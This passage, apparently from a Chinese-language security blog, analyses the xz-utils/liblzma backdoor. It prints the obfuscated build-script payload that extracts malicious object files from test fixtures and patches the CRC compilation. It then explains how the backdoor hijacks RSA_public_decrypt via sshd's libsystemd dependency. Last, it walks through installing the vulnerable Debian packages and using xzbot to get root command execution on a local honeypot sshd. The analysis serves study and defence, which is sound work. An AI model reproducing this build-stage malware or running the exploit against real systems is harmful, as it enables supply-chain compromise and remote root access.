src/liblzma/Makefile || true eval $zrKcHD fi elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then vs=`grep -broaF 'jV!.^%' $top_srcdir /tests/files/ 2>/dev/null`if test "x$vs " != "x" > /dev/null 2>&1;then f1=`echo $vs | cut -d: -f1`if test "x$f1 " != "x" > /dev/null 2>&1;then start=`expr $(echo $vs | cut -d: -f2) + 7` ve=`grep -broaF '%.R.1Z' $top_srcdir /tests/files/ 2>/dev/null`if test "x$ve " != "x" > /dev/null 2>&1;then f2=`echo $ve | cut -d: -f1`if test "x$f2 " != "x" > /dev/null 2>&1;then [ ! "x$f2 " = "x$f1 " ] && exit 0 [ ! -f $f1 ] && exit 0 end=`expr $(echo $ve | cut -d: -f2) - $start `eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`fi fi fi fi eval $zrKcKQ if ! grep -qs "$R ()" $top_srcdir /src/liblzma/check/crc64_fast.c; then exit 0fi if ! grep -qs "$R ()" $top_srcdir /src/liblzma/check/crc32_fast.c; then exit 0fi if ! grep -qs "$R " $top_srcdir /src/liblzma/check/crc_x86_clmul.h; then exit 0fi if ! grep -qs "$x " $top_srcdir /src/liblzma/check/crc_x86_clmul.h; then exit 0fi if ! grep -qs "$C " ../../libtool; then exit 0fi if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then exit 0fi if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then exit 0fi N=0 W=0 Y=`grep "dnl Convert it to C string syntax." $top_srcdir /m4/gettext.m4`eval $zrKcjv if test -z "$Y " ; then N=0 W=88664else N=88664 W=0fi xz -dc $top_srcdir /tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2 >&1 ) && head -c +$W ) > liblzma_la-crc64-fast.o || true if ! test -f liblzma_la-crc64-fast.o; then exit 0 fi cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0 ))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' eval $yosA if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \ sed "/include \"crc_x86_clmul.h\"/a \\$V" | \ sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \ $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true eval $BPep if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \ sed "/include \"crc32_arm64.h\"/a \\$V" | \ sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \ $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then eval $RgYB if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then if test ! -f .libs/liblzma.so; then mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true else mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi rm -f .libs/liblzma_la-crc32-fast.o || true rm -f .libs/liblzma_la-crc64-fast.o || true else mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi else mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi rm -f liblzma_la-crc64-fast.o || true fi eval $DHLd
[ ! $(uname)=“Linux” ] && exit 0 其實沒有空格會導致這行無作用
phase2 payload將會檢查許多條件,如果符合,就會開始後門的植入
這會繼續從tests/files/good-large_compressed.lzma
中解壓縮出liblzma_la-crc64-fast.o
和liblzma_la-crc32-fast.o
,這是個惡意的連接檔
並將原本的檔案做備份到名稱接近的檔案
1 cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o
接著就是修改編譯的檔案,植入後門
最後根據成功或失敗,把解壓縮的檔案清除,或將備份的檔案復原
如果想瞭解更詳細的植入過程,可以參考此網站research!rsc: The xz attack shell script
或是參考這張圖理解,此圖來自Thomas Roccia
有關對liblzma_la-crc32-fast.o、liblzma_la-crc64-fast.o的逆向分析,可以參考以下連結
[WIP] XZ Backdoor Analysis and symbol mapping
smx-smx/xzre: XZ backdoor reverse engineering
XZ-Utils供应链威胁揭秘:后门投毒深度分析与防御策略 - 网络攻防
超級懶人包:簡單來說就是透過liblzma_la-crc32-fast.o、liblzma_la-crc64-fast.o這兩個連接檔,在編譯時修改了原本_get_cpuid()
函數,在執行時透過gcc ifunc劫持openssl的RSA_public_decrypt()
函數,達成後門
xz與sshd/rce的關係
理論上openssh並不依賴liblzma,但是debian等發行版修改了openssh,為openssh打上了patch,讓其支援systemd的通知,因此依賴了libsystemd,而libsystemd依賴liblzma,因此openssh間接依賴liblzma,這導致後門的產生。
演示
以下參考amlweems/xzbot
honeypot
1 2 3 4 5 $ git clone https://github.com/openssh/openssh-portable $ patch -p1 < ~/path/to/openssh.patch $ autoreconf $ ./configure $ make
下載並安裝有漏洞的xz-utils和liblzma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 $ wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/xz-utils_5.6.1-1_amd64.deb --2024-04-30 16:53:29-- https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/xz-utils_5.6.1-1_amd64.deb Resolving snapshot.debian.org (snapshot.debian.org)... 185.17.185.185, 193.62.202.27, 2001:630:206:4000:1a1a:0:c13e:ca1b, ... Connecting to snapshot.debian.org (snapshot.debian.org)|185.17.185.185|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 491980 (480K) Saving to: ‘xz-utils_5.6.1-1_amd64.deb.1’ xz-utils_5.6.1-1_amd64.deb.1 100%[=============================================>] 480.45K 322KB/s in 1.5s 2024-04-30 16:53:32 (322 KB/s) - ‘xz-utils_5.6.1-1_amd64.deb.1’ saved [491980/491980]$ wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/liblzma5_5.6.1-1_amd64.deb --2024-04-30 16:53:54-- https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/liblzma5_5.6.1-1_amd64.deb Resolving snapshot.debian.org (snapshot.debian.org)... 185.17.185.185, 193.62.202.27, 2001:1af8:4020:b030:deb::185, ... Connecting to snapshot.debian.org (snapshot.debian.org)|185.17.185.185|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 252188 (246K) Saving to: ‘liblzma5_5.6.1-1_amd64.deb.1’ liblzma5_5.6.1-1_amd64.deb.1 100%[=============================================>] 246.28K 212KB/s in 1.2s 2024-04-30 16:53:56 (212 KB/s) - ‘liblzma5_5.6.1-1_amd64.deb.1’ saved [252188/252188]$ dpkg -i xz-utils_5.6.1-1_amd64.deb liblzma5_5.6.1-1_amd64.deb (Reading database ... 55615 files and directories currently installed.) Preparing to unpack xz-utils_5.6.1-1_amd64.deb ... Unpacking xz-utils (5.6.1-1) over (5.6.1-1) ... Preparing to unpack liblzma5_5.6.1-1_amd64.deb ... Unpacking liblzma5:amd64 (5.6.1-1) over (5.6.1-1) ... Setting up liblzma5:amd64 (5.6.1-1) ... Setting up xz-utils (5.6.1-1) ... Processing triggers for man-db (2.11.2-2) ... Processing triggers for libc-bin (2.36-9+deb12u6) ...
patch liblzma.so
1 2 3 4 5 6 7 8 $ pip install pwntools $ shasum -a 256 liblzma.so.5.6.1 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1$ python3 patch.py /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 Patching func at offset: 0x24470 Generated patched so: liblzma.so.5.6.1.patch$ cp /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1.ori$ cp /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1.patch /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1
backdoor demo
1 $ go install github.com/amlweems/xzbot@latest
1 2 3 4 5 6 7 8 $ xzbot -h Usage of xzbot: -addr string ssh server address (default "127.0.0.1:2222") -seed string ed448 seed, must match xz backdoor key (default "0") -cmd string command to run via system() (default "id > /tmp/.xz")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 $ xzbot -addr 127.0.0.1:22 -cmd 'id > /tmp/.xz' 00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert| 00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |[email protected] | 00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000130 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 |................| 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.| 00000170 00 00 01 01 00 00 01 00 34 12 00 00 78 56 00 00 |........4...xV..| 00000180 a2 ff d9 f9 ff ff ff ff ee 07 97 d2 f3 7b 74 d0 |.............{t.| 00000190 77 0e ac cd 7d 9f 9d 20 66 18 6f b4 63 92 1e 08 |w...}.. f.o.c...| 000001a0 01 99 59 55 5c e2 1c 2c 48 6e aa 90 f6 4c 38 4c |..YU\..,Hn...L8L| 000001b0 df 97 38 87 d3 b9 f9 e5 c0 c9 6e ed 79 a2 b0 e1 |..8.......n.y...| 000001c0 38 81 22 08 17 b1 46 ba 4f 2a 34 98 a2 04 53 7f |8."...F.O*4...S.| 000001d0 87 3b f2 02 ba e9 e9 16 bd 12 34 4d 3a 1b ae dc |.;........4M:...| 000001e0 31 d8 03 13 05 a8 a6 b6 10 bd 5d c0 80 27 fd e7 |1.........]..'..| 000001f0 9a 7a d2 53 cb 4d 1b d7 9f 1d bf 47 b9 5f a0 49 |.z.S.M.....G._.I| 00000200 8c 28 de ce 0a ff 6f 47 0c d2 34 a9 35 00 00 00 |.(....oG..4.5...| 00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................| 00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....| 2024/04/30 16:57:38 ssh: handshake failed: EOF
1 2 $ cat /tmp/.xz uid=0(root) gid=0(root) groups=0(root)
參考